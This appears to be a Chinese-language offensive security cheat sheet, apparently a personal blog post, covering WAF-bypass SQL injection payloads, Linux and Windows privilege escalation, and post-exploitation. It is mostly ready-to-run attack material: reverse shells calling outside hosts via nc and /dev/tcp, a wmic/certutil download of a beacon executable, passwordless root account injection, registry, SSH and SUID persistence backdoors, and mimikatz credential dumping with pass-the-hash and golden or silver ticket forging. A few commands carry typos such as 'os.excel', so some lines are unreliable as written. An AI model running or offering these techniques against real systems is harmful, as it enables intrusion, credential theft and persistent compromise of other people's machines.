MSSQL: 大小写: ?id=1 UNION/*&ID=*/SELECT 1,2/*&id=*/FROM ADMIN GET+POST形式: http://192.168.1.13/test/sql.aspx?id=1 union/* post: id=2*/select null,null,null 利用逗号: ?id=1 union select 1&id=2&id=3&id=4 from admin -- (无逗号形式) ?a=1+union/*&b=*/select+1,pass/*&c=*/from+users -- (分割参数注入) 无效参数形式:?a=/*&sql=xxx&b=*/ 备注:a,b为无效参数,让waf认为是我们输入的语句是在注释符里执行的所以就不拦截 溢出形式: ?id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1...&id=1 union select 1,2 from admin -
宽字节
将关键字写成宽字节。参照宽字节对照表
-
-
WAF层特性
-
逻辑问题
1. 云waf防护,一般尝试通过查找站点的真是IP,绕过CDN防护 2. 当提交GET、POST同时请求时,进入POST逻辑,从而忽略了GET请求的有害参数的输入 3. HTTP和HTTPS同时开放服务,没有做HTTP到HTTPS的强制跳转,导致HTTPS有wAF防护,HTTP没有WAF防护,直接访问HTTP站点就能绕过防护 4. 特殊符号%00,部分waf遇到%00截断,只能获取到前面的参数,无法获取到后面的又喊参数输入,从而导致waf绕过。比如:`id=1%00 and 1=2 union select 1,2,column_name from information_schema.columns` -
性能问题
- 数据量达到一定的层级,就不会检测这部分数据。只要不断填充数据,当数据量达到一定数目之后,恶意代码就不会被检测了
- 大多数waf是用c语言写的,而c语言自身没有缓冲区保护机制,因此如果waf在处理测试向量时超出了其缓冲区的长度就会引发bug,从而实现绕过
- 多次重复提交同一个请求,有的被拦截有的通过
-
-
白名单
-
IP白名单
网络层获取的IP,一般不能伪造,如果是应用层(请求包)获取的IP,就可以伪造白名单IP
测试方法:修改http的headerx-forwarded-for: x-remote-IP: x-originating-IP: x-remote-addr: x-real-ip: -
静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css)类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求http://127.0.0.1/index.php/1.js?id=1 aspx/php只识别到前面的.aspx/.php后面的基本不识别 -
url白名单
为了防止误拦,部分waf内置默认的白名单,例如:admin/manager/system只要url中存在白名单的字符串,就作为白名单不进行检测http://127.0.0.1/sql.php/admin.php?id=1 http://127.0.0.1/sql.php?a=/manage/&b=../etc/passwd http://127.0.0.1/../../../manage/../sql.asp?id=2 -
爬虫白名单
伪造成浏览器的爬虫,测试绕过,使用User-Agent标识是浏览器爬虫
-
-
数据库特性
-
0x01前言
内敛注释:/*!12345union*/select。利用/**/来代替空格 /**/添加!表示这个注释不被注释掉,正常执行 12345 一定是五位数 表示版本号,代表版本号大于1.23.45版本的时候就执行 Mysql黑魔法:select{x username}from{x mysql.user}; select {x username}, {x password}, {x user()} from {a users}; 换行符绕过:%23%0a, %2d%2d%0a %23 -> # %0a ->换行 -
0x02测试
-
/**/、/*!50000union*/select * from admin where username = 1 union/**/select 1, user() from admin; -
空白字符:
%09, %0a, %0b, %0c, %0d, %20, %a0;id=%0aunion select 1, user() from admin -
浮点数形式:1.1
select * from admin where username = 1.0union select 1,user() from admin; select * from admin where username = -1.0union select 1,user() from admin; select * from admin where username = 1.union select 1,user() from admin; -
1E0的形式
select * from admin where username = 1E0union select 1, user() from admin; -
\Nunion
select * from admin where username = \Nunion union select 1, user() from admin; -
union和select之间的位置
-
空白字符
id=1 union%a0select 1, user() from admin -
注释符
使用空白字符/*asdsadasd*/ -
括号
select * from admin where username = union(select 1, user() from admin);union和select之间可以添加括号
-
-
select和查询参数之间的位置
- 空白字符
- 注释符
- 特殊字符
%21!%2b+%2d-%40@%7e
select * from admin where username = union select~1, user() from admin; -
查询参数和from之间的位置
- 空白字符
- 注释符
- 特殊字符
前面和后面查询同一个表的时候可以添加大小写字母数字
select * from admin where username = 1 union select 1, user() from123asadmin;
-
-
0x03函数
-
常见的过滤函数
Mid(version(),1,1)substr(version(),1,1)substring(version(),1,1)lpad(version(),1,1)rpad(version(),1,1)left(version(),1)reverse(right(reverse(version(),1))
-
字符串连接函数
-
concat(version(),'|',user()) -
concat_ws('|',1,2,3) -
字符串转换ascii(1)
某云waf可以绕过
-
-
特殊符号过滤
-
limit处的逗号:limit 1 offset 0
-
字符串截取出的逗号 mid处的逗号:
mid(version() from 1 for 1) -
union处的逗号:通过join拼接
select * from admin where username = 1 union select * from (select 1)a join (select{x schema_name}from information_schema.SCHEMATA limit 1,1)b; -
操作符<>被过滤
select * from users where id=1 and ascii(substr(database(),0,1)) > 64;此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用
greatest来代替比较操作符。greatest(n1,n2,n3)函数返回输入参数(n1,n2,n3)的最大值select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64;
-
-
部分函数构造
-
sleep(5)/benchmark(10000000, SHA1(1))id=1 xor sleep%23%0a(5) id=1 xor sleep%2d%2d%0a(5) id=1 xor sleep([%20]5) id=1 xor benchmark%0a(10000000, SHA1(1)) id=1 xor sleep[空白字符](5) -
select{x 1}形式
select{x[可填充字符]1}
-
-
-
0x4 END
-
###漏洞查找
查找对方主机的端口,根据对方开放的服务找到对应插件的漏洞。例如:对方系统Liunx,网站构建的插件Drupal等。攻击方式:msfconsole、searchpolity 漏洞:查找对应CVE漏洞版本,看看是在本地执行还是下载到对方上面执行
/etc/hosts:若是网站用了重定向在这个文件配置重定向- 遇见密码:
- 弱口令
sql注入- 爆破
fpt:默认端口21,可以进行匿名登录/远程连接- 前端403页面访问代理访问
x-Forwarded-For:127.0.0.1X-Original-URL:Referer:www.baidu.comX-Rewrite-URL:
进入到对方的计算机中一般用户的权限都是www-data。此时要进行提权。
python打开命令行的代码:python -c "import pty; pty.spawn('/bin/bash')"
python打开端口的代码:python -m http.server 80
提权方式:
-
mysql udf提权 -
find / -perm -u=s -type f 2>/dev/null:查找容易撬锁的房间
find / -name index.php -exec "/bin/sh" \; -
cat /etc/passwd:查看Linux的账号存放地址cat /etc/shadow:查看Linux的用户的密码存放地址 -
echo "ap::0:0:::/bin/bash" | sudo teehee -a /etc/passwd echo "ap::0:0:::/bin/bash" | sudo teehee -a /etc/passwd teehee: 'ap::0:0:::/bin/bash'只要替换其中的ap就能添加一个无密码的具有root权限的账号
反弹shell
命令1:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.10.6 9999 >/tmp/f
rm /tmp/f:删除/tmp/f文件(如果存在),确保干净环境mkfifo /tmp/f:创建一个命名管道(FIFO)/tmp/f,用于进程间通信cat /tmp/f:从命名管道中读取数据bash -i:启动一个交互式 bash shell2>&1:将标准错误输出重定向到标准输出nc 192.168.91.128 9999:连接到 IP 为192.168.222.128、端口为9999的远程主机>/tmp/f: 将远程主机发来的数据写回命名管道,形成循环通信
Windows信息收集
系统信息
-
系统
net config workstation--> 查询建议信息
systeminfo--> 查询全部内容
wmic qfe get Caption,Description,HotFixID,InstalledOn--> 查询已安装列表 -
进程
tasklist /v # 查询正在运行的进程 wmic product get name, version #查询所有安装过的软件即版本 powershell "Get-WmiObject-class Win32_Product|Select-Object-Property name,version" #使用powershell 查询所有安装过的软件即版本,效果和wmic相同 wmic service list brief #查询当前机器的服务信息 wmic startup get command,caption #查看启动项 schtasks /query /fo LIST /v #查看任务计划 #windows自带防火墙及特殊过滤规则等网络访问均可使用netsh及相关命令查看 netsh firewall show config #查看防火墙信息。但firewall命令已经弃用,用advfirewall命令代替 netsh advfirewall set allprofiles state off/on #关闭/开启防火墙 netsh advfirewall firewall show rule name=all #查看全部的规则 netsh advfirewall export/import xx.pol #导出/导入配置文件 netsh advfirewall firewall add rule name="deny tcp 139" dir=in protocol=tcp localport=139 action=block #新建规则阻止TCP协议139端口 netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow #新建规则允许3389通过防火墙 netsh advfirewall firewall delete rule name=Remote Desktop #删除名为Remote Desktop的防火墙 netsh interface #连接安全规则配置,很少配置 -
用户权限
whoami #当前用户 quser #查询登录用户,通query user qwinsta #查询登录用户,通query user query user #查询登录用户 query session #查询会话 query termserver #查询远程桌面主机列表 net accounts #查询域密码策略 net user #查询本地用户列表 net user "$username" #查询指定用户 net localgroup #查询本地用户组列表 net localgroup "$groupname" #查询指定用户组成员 net group #仅域控可执行,查询用户组列表 net group "$groupname" #仅域控可执行,查询用户组成员 -
用户操作
doskey /h #查看历史指令 doskey /reinstall #删除历史指令 Get-History | Format-list-Property * # 查询powershell 当前窗口历史操作记录 Clear-History # 删除powershell 当前窗口历史操作记录 Clear-History-Id 3 # 删除powershell 当前窗口历史操作记录指定id
拓扑信息
-
网络拓扑发现
ipconfig /all #当前主机详细信息 ipconfig /displaydns #列出dns缓存信息 route print #查询路由表 arp -a #地址解析协议缓存表 netstat -ano #端口使用情况乱 net share #查看共享信息 net view #查看共享资源列表 wmic share get name,path,status #查看共享信息日志
wevtutil qe security /f:text /q:*[system[(eventID=4624)]] #查询登录日志 wevtutil qe security /rd:true /f:text /q:"*[system[(eventID=4624 and 4623 and 4627)]]" #查询所有登录、注销相关的日志语法浏览器访问日志:
chrome:C:\Users$username\AppData\Local\Google\Chrome\User Data\Default\History
firefox:C:\UsersUndefined control sequence \AppDataname.default\places.sqlite
IE:C:\Users$user\AppData\Local\Microsorft\Windows\History -
内网其他存活主机
-
域信息
net config workstation # 查询当前登录域 net time #同步时间,通常为域控制器 net accounts /domain #查询域密码策略 net user /domain #列出当前域成员列表 net user username /domain #列出域成员详细信息 net group /domain #列出域内组列表 net group groupname /domain #列出域内组成员列表 net view # 查询同一域内机器列表 net view /domain #查询域列表 net view /domain:test #查询test域中计算机列表 nltest /dclist:domain #查询域内所有的DC nltest /dsgetdc:domain #拿到DC当前的认证信息 nltest /domain_trusts #查询域信任信息 nltest /user:"username" #得到用户信息
凭证信息(用于横向渗透)
- 用户凭证信息
- 系统用户hash
- DPAPI
- 常用软件密码记录
Powershell权限显示(get-executionpolicy 获取当前权限信息,set-executionpolicy [权限名称]:修改当前权限):
restricted:默认设置,不允许执行任何脚本allsigned:只能运行经过证书验证的脚本unrestricted:权限最高,可以执行任意脚本remotesigned:对本地脚本不进行限制,对来自网络的脚本必须验证签名
自动化windows收集工具
WMIC信息收集
-
补丁信息、补丁包过滤
wmic qfe get Caption,Description,HotFixID,InstalledOn wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KVxxxxx" /C:"KVxxxxx" -
查看杀毒软件
- 获取杀软名称:
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List - 获取杀软名和安装路径:
WMIC /namespace:\\root\SecurityCenter2 path antivirusproduct GET displayName,productState,pathToSignedProductExe
- 获取杀软名称:
SC服务管理:输入sc获取执行命令
Linux信息收集
uname -a #所有可用信息
uname -r #内核版本信息
uname -n #系统主机名字
uname -m #Linux内核架构(x86/x64)
hostname #主机名
cat /etc/*-release #发布信息
cat /etc/issue #发布信息
cat /etc/passwd #列出系统所有用户
cat /etc/group #列出系统所有组
cat /etc/shadow #列出所有用户hash(需要root权限)
cat /etc/shell #查询系统中所有的终端
cat /etc/inetd.conf #由inetd管理的服务列表
cat /etc/xinetd.conf #由xinetd管理的服务列表
cat /etc/exports #nfs服务器的配置
cat /proc/cpuinfo #CPU信息
cat /proc/version #内核信息
cat ~/.bash_history #查看当前用户的历史记录
find / -name %program_name% #查找软件
find / -perm -4000 -type f #查找SUID文件
find / -uid 0 -perm -4000 -type f #查找root权限的SUID文件
find / -perm -2 -type f #查找可写的文件
find / ! -path "/proc/" -perm -2 -type f -print #查找/proc以外的可写文件
find / -perm -2 -type d #查找可写的目录
find /home -name*.rhosts -print #查找rhosts的配置文件
find /home -iname*.plan -exec ls -la{};-exec cat{} #查询文件并打印
ls -la ~/.*_history #查看当前用户的各种历史记录
ls -la ~/.ssh/ #查看用户ssh登录信息
ls -la /usr/sbin/in.* #检查inetd服务的配置
ls -la /etc/*.conf #列出/etc下的所有配置文件
ls -la /etc/cron* #计划任务
ls -ahlR /root/ #查看是否有权限列用户目录
grep -l -i pass /var/log/*.log #查询包含pass的日志并打印匹配到的行
lsof -i -n #列出打开的文件
head /var/mail/root #答应/var/mail/root的开头
users #当前登录用户
who -a #当前登录用户
w #列出当前登录系统的有那些人,以及他们正在执行的程序
last #显示等入过的用户信息
lastlog #显示系统中所有用户最近一次的登录信息
ps aux #查看进程信息
crontab -l -u %username% #显示指定用户的计划作业(需要root权限)
top #列出当前进程
which %program_name% #查找软件
df -a #文件系统信息
Windows提权
x86 32位系统
x86_64 64位系统
User:普通用户权限
Administrator:管理员权限,可利用windows机制提升为system权限
System:系统权限
trustedInstaller:windows中最高权限,system也无法修改,只能本权限修改,用来执行系统级别的操作
- 内核溢出漏洞提权
查找内核信息,以及未修补的补丁或者相关补丁的漏洞,查询对应的漏洞,提升权限/工具自动化提权 - UAC绕过提权(用户账号控制 )
msf use exploit/windows/local/bypassuactab补全msf use exploit/windows/local/ask- https://github.com/hfiref0x/UACME
- 错误配置
- 可信任服务路径漏洞:
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v "''"- 将木马名字修改为信任服务的名字
- 系统服务权限配置错误
- 可信任服务路径漏洞:
- 计划任务:查找以system权限运行的计划任务,将木马的名字修改为任务名或对应任务的文件
- 组策略首选项提权:使用
msf post/windows/gather/credentials/gpp查找组策略中是否泄露密码等关键信息 - 令牌伪造:
- 需要admin权限/webshell权限搭配烂土豆漏洞。普通用户无效
use incognito:加载令牌list_tokens -u:列出令牌impersonate_token "NT AUTHORITY\SYSTEM":伪造system的令牌获取去system权限
- 数据库提权
- alwaysinstallelevated提权:注册表漏洞,windows允许以第一用户以admin的权限和漏洞去运行软件 查询installer是否开启
reg query 注册表路径\installer /v能查到的情况下说明开启或者使用msf exploit/windows/local/always_install_elevated去自动化扫描 - 自带安装配置文件/unattened install:管理员在域中批量配置的时候的脚本 。
msf post/windows/gather/enum_unattend自动化扫描 - 第三方软件漏洞
Linux提权
-
mysql udf提权攻击者通过编写调用cmd或者shell的共享库文件(window为.dll,linux为.so),并且导入到一个指定的文件夹目录下,创建一个指向共享库文件的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令
udf提权需要有一个高权限的mysql账号,最好是root账号
select user(); select current_user; SELECT * FROM mysql.user WHERE user='root'\G select user,host from mysql.user; # 查看数据库下的所有用户 -
suid提权:
查找具有SUID权限的文件find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null # 主要使用 find / -user root -perm -4000 -exec ls {} \; 2>/dev/null find / -perm -4000 -type f #!!!!!!!!!!!!!!好用 查找SUID文件 chmod u+s /bin/usr/find #给文件添加suid权限常见的suid提权命令
nmap
vim
find
bash
more
less
nano
cp
awk
mvSUID是一种特殊权限,设置了suid的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限,例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限。sgid与suid类似,只是执行程序时获得的是文件属组的权限。passwd这个命令程序的权限设置,它就是设置了suid权限的
-
find:
touch anyfile #文件任意但是必须要有这个文件 find anyfile -exec whoami \; find . -exec /bin/sh -p \; -quit -
bash:
bash -p -
vim:
利用vim添加账号
vim /etc/passwd 添加特权用户 添加:bob:x:0:0::/home/bob:/bin/bash vim /etc/shadow 添加特权用户 bob:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7::: 密码是123456利用vim打开交互式shell,在哪python
vim -c ';py import os; os.excel("/bin/sh", "sh", "-pc", "reset; exec sh -p")' python -c 'import os; os.excel("/bin/sh", "sh", "-p")'利用vim创建文件在保存文件的时候输入一下命令
:!/bin/sh :!/bin/bash -
nmap:
#老版的nmap nmap --intercative nmap> !/bin/sh #新版nmap echo 'os.execute("/bin/sh")' > getShell sudo nmap --script=getShell -
more/less:
more/less /etc/passwd !/bin/sh -
awk:
awk 'BEGIN{system("/bin/sh")}' -
cp:
vi passwd cat passwd cp passwd /etc/passwd
-
-
echo "ap::0:0:::/bin/bash" | sudo teehee -a /etc/passwd echo "ap::0:0:::/bin/bash" | sudo teehee -a /etc/passwd teehee: 'ap::0:0:::/bin/bash' su ap #无密码,可直接切换只要替换其中的ap就能添加一个无密码的具有root权限的账号,ap自定义名称
-
uname -a:查看系统版本uname -r:查看内核版本找到系统和内核版本,可以用searchsploit linux 5.15.0-56 查找exp进行执行代码提权
-
msfconsole:payload漏洞植入 -
cat /etc/passwd:查看Linux的账号存放地址cat /etc/shadow:查看Linux的用户的密码存放地址(拿到root权限才能查看shadow)
john:爆破哈希密码
如果有权限修改,可以自己生成hash值然后替换源文件中的hash值 -
sudo -u user ./sort.exe如果文件中有/bin/bash则不用写入。没有的话执行下面的命令,在文件中写入/bin/bash
echo "/bin/bash" >> backups.sh:在backups.sh文件的最后写入/bin/bash
然后再执行标题代码,就能切换到对应的用户 -
path劫持:
cd /tmp #切到所有人可写的目录,在该目录中伪造命令执行文件 echo "/bin/bash" > scp #生成一个 3 字节脚本,内容就是启动新 bash scp可以根据脚本执行命令名称修改 chmod +x scp #给它可执行权限 export PATH=/tmp:$PATH #把 /tmp 插到 $PATH 最前面,在linux系统查询scp命令的时候优先在/tmp中查询 cd /opt #回到目标(执行伪造程序的程序)程序所在目录 ./s #运行 set-UID 程序(或管理员脚本)当查到命令执行代码中出现未标明绝对路径的命令,即可伪造命令查询路径
-
定时任务:将任务中执行高权限的文件替换为自己的提权文件
cat /etc/crontab -
查找弱权限的文件:
find /etc -maxdepth 1 -writable -type f find /etc -maxdepth 1 -readable -type f find / -executable -wirtable -type d 2 > /dev/null -
ssh查找
ls -l /.ssh #查找靶机上的.ssh文件,里面有靶机root用户登录ssh的密钥root_key,可以将他复制下来到攻击机的.ssh文件中,这个时候 通过 ssh -i root_key root@目标机器地址 #即可免密登录
数据库提权
确保开启数据库服务,以及有高权限密码
-
探针(探测端口):
mysql:3306mssql:1433oracle:1521redis:6379
-
收集密码:
-
配置文件关键字:
sqldataincconfigconndatabasecommon
-
存储文件: mysql自带的密码文件 -> 网站路径/MySQL/data -> 后缀是.MYD的文件就是数据文件
-
爆破
前提条件是允许外部连接
-
社工
-
-
提权:
-
MySQL:-
UDF提权:- 介绍:用户自定义函数功能
- 使用:
- 插件查找:小于5.1版本的UDF目录是在
C:/windows或者system32目录下。大于等于5.1版本的UDF目录是MySQL的安装目录下的/lib/plugin。没有plugin的话可以自己创建
show variables like '%plugin%'; - 函数编辑:C语言,windows编译成
.dll文件,linux编译成.so文件,放到插件库中,去执行提权的函数获取权限 - 上传之后执行sql语句:
create function 函数名 returns string soname '文件名.add/os'
- 插件查找:小于5.1版本的UDF目录是在
-
MOF提权:-
介绍:适用于windows2003server。mof是Windows系统的一个文件叫做“托管对象格式”其作用就是每隔五秒就会去监控进程的创建和死亡
-
使用:将mof文件上传至可读可写的目录下,使用有root权限的mysql将文件写入指定目录
-
-
启动项提权:
- 使用:windows server 启动项目录
C:/programdata/microsoft/winwows/start menu/programs/startup,和mof类似,用into file将文件上传到该路径下,电脑重启就会拿到权限
- 使用:windows server 启动项目录
-
反弹shell:和udf一样,用
nc反弹shell
-
-
mssql(sql server):-
xp_cmdshell:- 介绍:sql server2000默认开启,2005之后默认禁止,需要管理员权限才能开启。这个功能使用来执行系统漏洞。
- 开启命令:
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure xp_cmdshell,1;
reconfigure - 执行命令:
exec master.dbo.xp_cmdshell [系统指令]然后提取 - 修复:如果数据库中没有这个扩展需要下载文件然后找修复指令,修复这个插件
-
sp_oacreate:- 开启命令:
exec sp_config 'show advanced options',1;
RECONFIGURE WITH OVERRIDE
exec sp_configure 'Ole Automation Procedures',1;
RECONFIGURE WITH OVERRIDE - 执行命令:
declare @shell int exec sp_oacreate 'wscript.shell', @shell output exec sp_oamethod @shell, 'run', null, 'c:\windows\system32\cmd.exe /c net user 123$ 123/add'
- 开启命令:
-
沙盒模式:命令提权
搜索
-
映像劫持
-
-
oracle:拿到数据的用户密码,使用oracleshell提权工具 -
redis(未授权访问):- 计划任务反弹shell
set x "\n * * * * * /bin/bash -i > /dev/tcp/ip地址/端口 0<&1 2>&1\n"config set dir /var/spool/cron/config set dbfilename rootsave
- 计划任务反弹shell
-
postgres:历史漏洞,CVE
-
权限维持
-
windows
-
将木马程序命名修改为系统程序的名字
-
映像劫持:windows的IE浏览器的注册表的iexplore.exe中出现debugger,将debugger的值修改为木马的路径
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe,当用户打开IE的时候就会启动木马程序 注册表添加语法reg add "注册表路径" /v "Debugger" /t REG_SZ /d "c:\木马程序" -
启动项:将木马放入启动项文件中,或者添加注册表中的启动项数值
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
这俩都是启动项的注册表值,需要对应的用户登录才能启动
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
这个需要管理员权限 -
服务:cmd创建一个服务
msf自带创建服务的功能,无杀毒软件可用
-
计划任务:
- 创建:
schtasks /create /sc minute /mo 1 /tn "木马名称" /tr 木马路径 /ru 以什么权限执行 - 删除:
schtasks /delete /tn 木马名称
- 创建:
-
winlogon:
- 介绍:用户初始化,用户登录前就会执行该程序
- 使用:修改winlogon的注册表中的值
- 添加规则:
C:\Windows\system32\userinit.exe,C:\木马程序,这两个都要添加上,不然会导致电脑黑屏
-
文件关联:将
txt文件修改为以木马的方式执行,将注册表中txt的打开方式修改文木马程序的路径
-
-
linux
-
隐藏文件修改文件时间:
touch -r 同步时间的样式文件 被同步时间的目标文件 -
文件锁定:添加特殊权限
chattr +i aa.php,删除的时候就无法被删除了解除历史记录的记录 set +o history
-
创建隐藏文件:
touch .aa.php -
用户添加:
useradd -p openssl passwd -1 -salt 'salt' 123456 test -o -u 0 -g root -G root -s /bin/bash -d /home/test1添加的就是root用户添加root用户
-
管理员权限的后门
cp /bin/bash /tmp/shell
chmod +s /tmp/shell
/tmp/shell -p -
ssh公钥私钥免密登录:
ssh-keygen -t rsa生成的密钥在/root/.ssh/id_rsa中存储cat id_rsa.pub查看公钥并复制到目标机器上的文件/root/.ssh/authorized_keys中,没有就创建。再用ssh连接就是root权限 -
软连接:就是ssh服务器必须配置PAM服务
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345然后关闭防火墙。之后可以使用任意的账号密码登录 -
ssh开启tcp监听:
rm -rf .ssh
cd /usr/sbin
mv sshd ../bin
echo '#!/usr/bin/perl' > sshd
echo 'exec "/bin/ssh" if(getpeername(STDIN) =~/^..4A);' >> sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd", @ARGV,' >> sshd
service sshd restart
socat STDIO TCP4:IP地址:端口,sourceport=13377 -
添加计划任务:
vim /etc/crontab -
隐蔽隧道:https://github.com/andreafabrizi/prism
-
内网横向移动
测试是否是域并且是不是用的域用户登录:net time /domain ipconfig /all
WMI服务
wmic:内置工具,无明显的回显(单执行)
wmic /node:ip /user:Adm inistrator /password:xxxxx processs call create "cmd.exe /c certutil" -urlcache -split -f http://xxx.xxx.xxx.xxx/beacon.exe c:/beacon.exe
wmic /node:ip /user:Administrator /password:xxxxx processs call create "cmd.exe c:/beacon.exe"
不支持hash,明文传输
smb:(对方smb服务且445端口开启,连接上ipc$)
- 连接
ipc$:net use \\192.168.89.1\ipc$"password" /user:username工作组net use \\192.168.89.1\ipc$"password" /user:domain\username域内
- psexec:
- 明文:
psexec.exe \\ip -u domain\administrator -p password -s cmd.exe - hash:
psexec.exe -hashes :NTLM哈希值 域/administrator@192.168.98.3
- 明文:
- smbexec:
- 明文传递:
smbexec.exe 域/user:password@ip - hash传递:
smbexec.exe -hashes :NTLM哈希值 ./user@ip
- 明文传递:
cscript:内置工具(交互式)需要事先传入wmiexec.vbs文件
cscript //nologo wmiexec.vbs /shell xxx.xxx.xxx.xxx (user) (password)
尽量终端中使用,cs中不要使用
PTH横向传递攻击
PTH攻击建立在密码hash之上。攻击系统范围为win7 \win2008r2\win2012等。若系统打了KB2871997 补丁只能administrator连接,没有打补丁任何用户都可以连接
域内hash传递:sekurlsa::pth /user:sql2008 /domain:hacker /ntlm:2ba0f5fcb5c72afc4a6d612a005fe39d
工作组hash:sekurlsa::pth /user:administrator /domain:workgroup /ntlm:2ba0f5fcb5c72afc4a6d612a005fe39d
PTK横向传递攻击
PTK传递攻击针对的是打了KB2871997补丁的,未打补丁是不能用的,这里需要使用mimikatz获取AES keys,获取命令为:sekurlsa::ekeys
1)判断是否打了KB2871997补丁
2)获取AES密码
3)跳板机的管理员权限
4)能在本地运行,远程没有测试成功
信息收集工具mimikatz:(必须是管理员或者system权限执行)
-
获取Debug权限:
privilege::debug- 提升 Mimikatz 进程权限,获取
SeDebugPrivilege,以便访问系统凭据。 - 返回
Privilege '20' OK表示成功。
- 提升 Mimikatz 进程权限,获取
-
获取系统中存储的明文密码、哈希:
sekurlsa::logonpasswords- 获取当前系统已登录账户的凭据(用户名、NTLM 哈希、SHA1 哈希)。
NTLM哈希可用于 Pass-the-Hash 攻击。- 若
Password字段为空,说明系统未存储明文密码。
-
提升token权限(绕过权限不足的问题):
token::elevate- 使用
NT AUTHORITY\SYSTEM账户运行 Mimikatz,以访问更高级别的凭据。 - 成功后,当前线程将拥有
SYSTEM权限。
- 使用
-
dump sam数据库中的用户凭据:
lsadump::sam-
离线与域控哈希提取 (lsadump 模块):用于从 SAM 文件或域控制器中提取哈希
-
命令 描述与说明 lsadump::sam从本地 SAM 数据库中读取本地用户的密码哈希。通常需要 SYSTEM 权限 lsadump::lsa /patch从 LSA 内存中读取所有活跃用户的密码哈希(包括域用户)。常用于域控制器,效果直接 lsadump::dcsync /domain:<域名> /user:<用户名>DCSync 攻击。模拟域控制器,从目标域控上请求指定用户的哈希,无需在域控上执行代码 lsadump::trust转储域间的信任关系及信任密钥
提取本地 SAM 数据库中的用户哈希。
NTLM Hash 可用于离线破解或 Pass-the-Hash。
关键字段:
SysKey:系统密钥。
SAMKey:SAM 数据库的加密密钥。
NTLM Hash:用户凭据的哈希。
RID:用户 ID(如 500 代表 Administrator) -
-
杂项
-
命令 描述与说明 token::elevate模拟 SYSTEM 账户的令牌,提升权限至最高-3 crypto::certificates /export列出并导出证书存储中的证书,即使是标记为“不可导出”的私钥也可能被导出 misc::cmd打开一个新的具有 System 权限的命令提示符
-
-
哈希传递与票据攻击
-
命令 描述与说明 sekurlsa::pth /user:<用户名> /domain:<域名> /ntlm:<NTLM哈希>Pass-the-Hash (哈希传递)。使用 NTLM 哈希启动一个新进程(如 cmd),从而模拟用户,无需知道明文密码kerberos::golden /user:<用户名> /domain:<域名> /sid:<域SID> /krbtgt:<KRBTGT哈希> /ptt黄金票据攻击。伪造 KRBTGT 账户的 TGT,生成任意用户的票据并注入内存( /ptt),可用于获取域控权限kerberos::ptt <票据文件>Pass-the-Ticket (票据传递)。将现有的 Kerberos 票据文件注入到当前会话中
-
黄金票据伪造流程:
-
通过信息收集工具获取信息(
mimikatz.exe)- 域SID:
whoami /user - KRBTGT 账户的 NTLM 哈希
- 域SID:
-
生成黄金票据(
mimikatz.exe)-
在任意一台机器(甚至非域成员)上运行 mimikatz指令
kerberos::purge # 清除当前所有票据 kerberos::golden /user:任意用户名 /domain:<域名> /sid:<域SID> /krbtgt:<KRBTGT_NTLM哈希> /ptt/user:可随意指定,建议使用目标环境中存在的用户(如域管理员)以避免异常/ptt:将生成的票据直接注入到当前会话内存(Pass-The-Ticket)示例: kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-123456789-1234567890-123456789 /krbtgt:1234567890abcdef1234567890abcdef /ptt
-
-
验证票据是否生效:
klist应该能看到一个 TGT 票据,发行者为
krbtgt -
访问域控的资源共享:
dir \\ip\c$成功列出目录,说明票据生效
-
持久化:
生成票据的时候生成票据文件:kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:... /ticket:ticket.kirbi,之后可用kerberos::ptt ticket.kirbi注入
白银票据伪造流程:
-
信息收集和黄金票据一致外加FQDN(完全限定域名)以及服务器名$
FQDN:
net view /domain服务器名:
sekurlsa::logonpasswords 在输出中查找类似 Username: FILESRV$ 的条目,其 Hash NTLM 字段即为机器账户的 NTLM 哈希 lsadump::dcsync /domain:corp.local /user:FILESRV$ 执行后会返回该账户的详细信息,其中包含 NTLM 哈希 privilege::debug token::elevate lsadump::sam 在 SAM 数据库中找到 FILESRV$ 的 NTLM 哈希 -
确认目标的服务类型
cifs:文件共享(SMB)http:Web 服务、WinRMhost:计划任务、远程执行ldap:LDAP 操作mssql:SQL Server
-
生成并注入白银票据
kerberos::purge kerberos::golden /user:<任意用户名> /domain:<域名> /sid:<域SID> /target:<目标服务器FQDN> /service:<服务类型> /rc4:<目标服务器NTLM哈希> /ptt/user:可随意指定,建议用目标服务器上已有的用户(如 Administrator)以避免异常/target:目标服务器的完整域名,例如filesrv.corp.local/service:要访问的服务,例如cifs/rc4:填入步骤1中收集的目标服务器机器账户的 NTLM 哈希/ptt:将票据注入当前会话
-
验证访问共享资源
dir \\ip\C$或者访问其他的服务winrs -r:filesrv.corp.local cmd
特殊文件
.phps:存放php文件的源代码,特殊情况下才会有 例如:index.phps查看index.php文件的源代码
1312

被折叠的 条评论
为什么被折叠?



